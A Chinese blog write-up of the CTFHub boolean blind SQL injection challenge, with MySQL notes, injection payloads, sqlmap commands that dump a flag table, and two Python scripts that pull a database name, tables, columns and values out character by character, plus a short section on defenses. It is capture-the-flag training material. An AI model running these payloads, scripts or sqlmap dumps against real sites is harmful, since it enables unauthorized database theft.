CTFHUB-技能树-Web题-SQL注入-布尔盲注

本文介绍了布尔盲注攻击方法,涉及MySQL知识点,如unionselect、database()函数、version()等,展示了如何通过SQL注入来判断注入点、检测数据库名长度和猜测数据库名,以及使用python脚本和sqlmap工具进行攻击和数据提取的过程。
部署运行你感兴趣的模型镜像

技能树-Web题-SQL注入-布尔盲注

布尔盲注
需要了解mysql的知识点:
union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符
判断注入点

利用返回yes或no进行判断注入

输入1 (也可输入1 and 1=1)返回 query_success

在这里插入图片描述

输入1’ (也可输入1 and 1=2)返回query_error
在这里插入图片描述

说明存在注入点

判断数据库名长度

发现1 and length(database()) >=1 正确
1 and length(database()) >=5 错误
1 and length(database()) >=4正确

所以判断当前数据库长度为4

猜数据库名

由于返回值是正确或错误,寻常and 后面布尔盲注语句不好使,因为它们是根据查询结果为空来判断。
这时候想到用if语句

if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

于是要确定数据库名字,利用语句:

if(substr(database(),1,1)='s',1,(select table_name from information_schema.tables))
if(substr(database(),1,1)='a',1,(select table_name from information_schema.tables))
1 and substr(database(),1,1)='s'
1 and substr(database(),1,1)='a'

要一个一个判断有点难,可以用python脚本

也可以利用sqlmap来跑

sqlmap

爆表

python sqlmap.py -u http://challenge-7d72ad3c949e8282.sandbox.ctfhub.com:10080/?id=1 --dbs

找flag

python sqlmap.py -u http://challenge-7d72ad3c949e8282.sandbox.ctfhub.com:10080/?id=1 -D sqli --tables 

然后脱库

python sqlmap.py -u http://challenge-7d72ad3c949e8282.sandbox.ctfhub.com:10080/?id=1 -D sqli -T flag --columns --dump
python代码
import requests
import time

urlOPEN = 'http://challenge-80bbba4d1e9ce716.sandbox.ctfhub.com:10080/?id='
starOperatorTime = [] 
mark = 'query_success'

def database_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
			# print(url+'%23')
			r = requests.get(url)
			if mark in r.text:
				name = name+i
				

				print(name)
				
				break
	print('database_name:',name)

	
database_name()

def table_name():
    list = []
    for k in range(0,4):
        name=''
        for j in range(1,9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
			    # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name+i
                    break
        list.append(name)
    print('table_name:',list)

#start = time.time()
table_name()
#stop = time.time()
#starOperatorTime.append(stop-start)
#print("所用的平均时间: " + str(sum(starOperatorTime)/100))

def column_name():
    list = []
    for k in range(0,3): #判断表里最多有4个字段
        name=''
        for j in range(1,9): #判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+i
                    break
        list.append(name)
    print ('column_name:',list)

column_name()

def get_data():
        name=''
        for j in range(1,50): #判断一个值最多有51个字符组成
            for i in range(48,126):
                url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+chr(i)
                    print(name)
                    break
        print ('value:',name)
    
get_data()

在这里插入图片描述
在这里插入图片描述

第二个

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import sys
session=requests.session()
url = "http://challenge-230a3ccdd5ccd1a7.sandbox.ctfhub.com:10800/?id="
name = ""

# for k in range(1,10):
#     for i in range(1,10):
#         print(i)
#         for j in range(31,128):
#             j = (128+31) -j
#             str_ascii=chr(j)
#             #数据库名
#             #payolad = "if(substr(database(),%s,1) = '%s',1,(select table_name from information_schema.tables))"%(str(i),str(str_ascii))
#             #表名
#             #payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(k,i,str(str_ascii))
#             #字段名
#             payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(i,str(str_ascii))
#             str_get = session.get(url=url + payolad).text
#             if "query_success" in str_get:
#                 if str_ascii=="+":
#                    sys.exit()
#                 else:
#                     name+=str_ascii
#                     break
#         print(name)

#查询字段内容
for i in range(1,50):
    print(i)
    for j in range(31,128):
        j = (128+31) -j
        str_ascii=chr(j)
        payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(i,str_ascii)
        str_get = session.get(url=url + payolad).text
        if "query_success" in str_get:
            if str_ascii == "+":
                sys.exit()
            else:
                name += str_ascii
                break
    print(name)

在这里插入图片描述

您可能感兴趣的与本文相关的镜像

Python3.9

Python3.9

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

SQL注入是一种常见的Web安全漏洞,攻击者可以通过它执行恶意的SQL代码,从而绕过应用程序的安全措施,访问或操纵数据库中的数据。在CTFHubSQL注入技能树中,涵盖了多种SQL注入技术,包括字符型注入布尔盲注、联合查询注入等,每种技术都有其特定的利用方式和防御方法。 ### SQL注入原理 SQL注入通常发生在应用程序未正确过滤用户输入的情况下,攻击者可以将恶意的SQL代码插入到查询中,从而改变查询的逻辑。例如,在一个简单的登录查询中,如果用户输入的用户名和密码未经过滤,攻击者可以输入特定的字符串来绕过身份验证。一个典型的例子是使用`' OR '1'='1`这样的输入,使得查询始终返回真值,从而绕过验证机制[^1]。 ### SQL注入利用方式 1. **字符型注入**:这种类型的注入通常发生在应用程序将用户输入直接拼接到SQL查询中,而没有进行适当的过滤或转义。攻击者可以输入包含特殊字符的字符串,如单引号,来改变查询的结构。例如,输入`1' AND 1=2 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() -- `可以用来获取数据库中的表名[^4]。 2. **布尔盲注**:在这种注入中,攻击者通过发送特定的SQL查询来判断数据库的某些条件是否为真,从而推断出数据库的结构或内容。例如,使用`1 AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='sqli')=x`这样的查询,攻击者可以通过观察应用程序的响应来判断数据库中表的数量[^5]。 3. **联合查询注入**:攻击者可以利用`UNION`操作符来合并多个查询的结果,从而获取额外的信息。例如,使用`1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()`可以获取当前数据库中的所有表名[^4]。 ### SQL注入防御方法 为了防止SQL注入攻击,应用程序开发人员可以采取以下几种措施: - **使用参数化查询**:参数化查询(也称为预编译语句)可以确保用户输入被视为数据而不是可执行代码,从而防止攻击者修改查询的结构。 - **输入验证**:对用户输入进行严格的验证,拒绝包含特殊字符的输入,或者对输入进行适当的转义处理。 - **最小权限原则**:确保数据库账户仅具有完成其任务所需的最小权限,这样即使发生注入攻击,攻击者的破坏也会受到限制。 - **错误信息处理**:避免向用户显示详细的错误信息,这些信息可能包含敏感的数据库结构信息,攻击者可以利用这些信息进行进一步的攻击。 ### 使用sqlmap进行SQL注入 sqlmap是一个自动化的SQL注入工具,可以帮助安全研究人员发现和利用SQL注入漏洞。以下是一些常用的sqlmap命令示例: ```bash # 获取数据库列表 sqlmap -u "http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1" --dbs # 获取指定数据库中的表名 sqlmap -u "http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables # 获取指定表中的列名 sqlmap -u "http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns # 获取指定列的数据 sqlmap -u "http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump ``` 这些命令展示了如何使用sqlmap来自动化地发现和利用SQL注入漏洞,从而获取数据库的结构和数据。 ###
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

python炒粉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值